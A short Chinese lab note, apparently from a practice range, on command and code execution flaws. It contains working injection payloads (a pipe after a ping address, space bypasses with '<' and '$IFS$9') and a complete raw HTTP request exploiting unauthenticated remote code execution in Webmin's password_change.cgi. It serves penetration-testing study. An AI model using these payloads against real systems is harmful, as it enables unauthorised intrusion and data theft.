先看系统类型
执行函数看这两篇
https://blog.csdn.net/weixin_54252904/article/details/115801128
https://blog.csdn.net/weixin_54252904/article/details/115801148
漏洞形成的条件:
可控变量,漏洞函数
漏洞发现
可通过url上的敏感代码如:
有的是经过编码的,所有要多观察url的可以数据
命令执行
环境来源:墨者靶场
可执行ping命令
输入命令 127.0.0.1|ls
禁用本地js
输入 127.0.0.1|cat key_296172863019530.php
不回显,考虑绕过空格
linux绕过空格
输入命令127.0.0.1|cat<key_296172863019530.php
成功!
php代码执行
靶场环境:墨者
对代码进行执行
传递参数
?a=tac$IFS$9key_28397852121210.php
成功!!
Webmin未经身份验证的远程代码执行
靶场环境:墨者
搜索webmin,存在代码执行漏洞
exp
POST /password_change.cgi HTTP/1.1
Host: 219.153.49.228:41273
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://219.153.49.228:41273/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache
user=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2
修改对应的部分,进行发包
修改为ls /
成功